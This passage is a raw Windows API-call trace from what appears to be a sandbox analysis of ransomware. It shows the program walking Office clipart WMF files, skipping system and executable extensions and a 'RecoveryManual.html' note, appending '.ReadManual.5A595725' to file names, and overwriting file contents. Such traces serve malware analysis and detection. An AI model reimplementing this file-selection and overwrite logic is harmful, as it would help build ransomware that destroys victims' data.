lpSrch=".ReadManual.5A595725") returned 0x0 [0268.237] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.237] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.237] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.237] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.237] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.237] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.237] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.237] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.237] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.237] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.237] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.237] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.237] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.237] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.237] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" [0268.238] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.ReadManual.5A595725" [0268.238] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.ReadManual.5A595725") returned 87 [0268.238] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38890636039) returned 1 [0268.238] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf")) returned 0x20 [0268.238] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.238] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=54964) returned 1 [0268.238] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd6b4, lpName=0x0) returned 0x184 [0268.238] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.239] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.239] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.241] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.241] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd6b4) returned 0x2f0000 [0268.242] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.243] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38891130431) returned 1 [0268.243] CloseHandle (hObject=0x184) returned 1 [0268.243] SetSecurityInfo () returned 0x57 [0268.243] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.243] CloseHandle (hObject=0x194) returned 1 [0268.243] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce00a00, ftCreationTime.dwHighDateTime=0x1bd9fdf, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcce00a00, ftLastWriteTime.dwHighDateTime=0x1bd9fdf, nFileSizeHigh=0x0, nFileSizeLow=0xa520, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0198113.WMF", cAlternateFileName="")) returned 1 [0268.243] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0198113.WMF" | out: lpString1="J0198113.WMF") returned="J0198113.WMF" [0268.243] lstrcmpiW (lpString1="J0198113.WMF", lpString2="RecoveryManual.html") returned -1 [0268.243] StrStrIW (lpFirst="J0198113.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.243] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.243] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.243] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.243] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.243] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.243] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.243] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.243] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.243] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.243] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.243] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.243] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.243] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.243] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.243] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" [0268.243] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.ReadManual.5A595725" [0268.243] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.ReadManual.5A595725") returned 87 [0268.244] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38891228923) returned 1 [0268.244] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf")) returned 0x20 [0268.244] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.245] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=42272) returned 1 [0268.245] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa520, lpName=0x0) returned 0x184 [0268.245] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.245] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.245] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.247] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.247] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa520) returned 0x2f0000 [0268.249] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.249] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38891771491) returned 1 [0268.249] CloseHandle (hObject=0x184) returned 1 [0268.249] SetSecurityInfo () returned 0x57 [0268.249] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.249] CloseHandle (hObject=0x194) returned 1 [0268.249] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa3b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0198226.WMF", cAlternateFileName="")) returned 1 [0268.249] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0198226.WMF" | out: lpString1="J0198226.WMF") returned="J0198226.WMF" [0268.249] lstrcmpiW (lpString1="J0198226.WMF", lpString2="RecoveryManual.html") returned -1 [0268.249] StrStrIW (lpFirst="J0198226.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.249] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.249] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.249] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.250] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.250] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.250] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.250] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.250] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.250] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.250] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.250] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.250] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.250] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.250] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.250] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" [0268.250] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.ReadManual.5A595725" [0268.250] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.ReadManual.5A595725") returned 87 [0268.250] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38891873218) returned 1 [0268.250] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf")) returned 0x20 [0268.250] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.250] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=41906) returned 1 [0268.250] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa3b2, lpName=0x0) returned 0x184 [0268.251] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.251] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.251] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.254] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.254] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa3b2) returned 0x2f0000 [0268.256] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.256] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38892522223) returned 1 [0268.257] CloseHandle (hObject=0x184) returned 1 [0268.257] SetSecurityInfo () returned 0x57 [0268.257] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.257] CloseHandle (hObject=0x194) returned 1 [0268.257] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa69e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0198234.WMF", cAlternateFileName="")) returned 1 [0268.257] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0198234.WMF" | out: lpString1="J0198234.WMF") returned="J0198234.WMF" [0268.257] lstrcmpiW (lpString1="J0198234.WMF", lpString2="RecoveryManual.html") returned -1 [0268.257] StrStrIW (lpFirst="J0198234.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.257] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.257] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.257] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.257] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.257] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.257] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.257] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.257] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.257] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.258] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.258] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.258] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.258] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.258] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.258] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" [0268.258] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.ReadManual.5A595725" [0268.258] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.ReadManual.5A595725") returned 87 [0268.258] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38892668471) returned 1 [0268.258] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf")) returned 0x20 [0268.258] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.259] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=42654) returned 1 [0268.259] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa69e, lpName=0x0) returned 0x184 [0268.259] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.260] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.260] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.263] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.263] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa69e) returned 0x2f0000 [0268.265] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.265] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38893386137) returned 1 [0268.265] CloseHandle (hObject=0x184) returned 1 [0268.265] SetSecurityInfo () returned 0x57 [0268.265] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.265] CloseHandle (hObject=0x194) returned 1 [0268.266] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f9c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0198372.WMF", cAlternateFileName="")) returned 1 [0268.266] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0198372.WMF" | out: lpString1="J0198372.WMF") returned="J0198372.WMF" [0268.266] lstrcmpiW (lpString1="J0198372.WMF", lpString2="RecoveryManual.html") returned -1 [0268.266] StrStrIW (lpFirst="J0198372.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.266] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.266] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.266] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.266] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.266] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.266] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.266] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.266] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.266] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.266] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.266] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.266] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.266] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.266] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.266] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" [0268.266] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.ReadManual.5A595725" [0268.266] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.ReadManual.5A595725") returned 87 [0268.266] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38893529261) returned 1 [0268.267] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf")) returned 0x20 [0268.267] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.268] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=28572) returned 1 [0268.268] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6f9c, lpName=0x0) returned 0x184 [0268.268] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.269] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.269] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.272] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.272] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6f9c) returned 0x2f0000 [0268.272] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.273] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38894146643) returned 1 [0268.273] CloseHandle (hObject=0x184) returned 1 [0268.273] SetSecurityInfo () returned 0x57 [0268.273] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.273] CloseHandle (hObject=0x194) returned 1 [0268.273] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1925100, ftCreationTime.dwHighDateTime=0x1be3a08, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1925100, ftLastWriteTime.dwHighDateTime=0x1be3a08, nFileSizeHigh=0x0, nFileSizeLow=0x9d6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0198377.WMF", cAlternateFileName="")) returned 1 [0268.273] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0198377.WMF" | out: lpString1="J0198377.WMF") returned="J0198377.WMF" [0268.273] lstrcmpiW (lpString1="J0198377.WMF", lpString2="RecoveryManual.html") returned -1 [0268.273] StrStrIW (lpFirst="J0198377.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.273] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.273] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.273] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.274] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.274] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.274] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.274] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.274] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.274] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.274] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.274] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.274] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.274] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.274] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.274] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" [0268.274] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.ReadManual.5A595725" [0268.274] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft 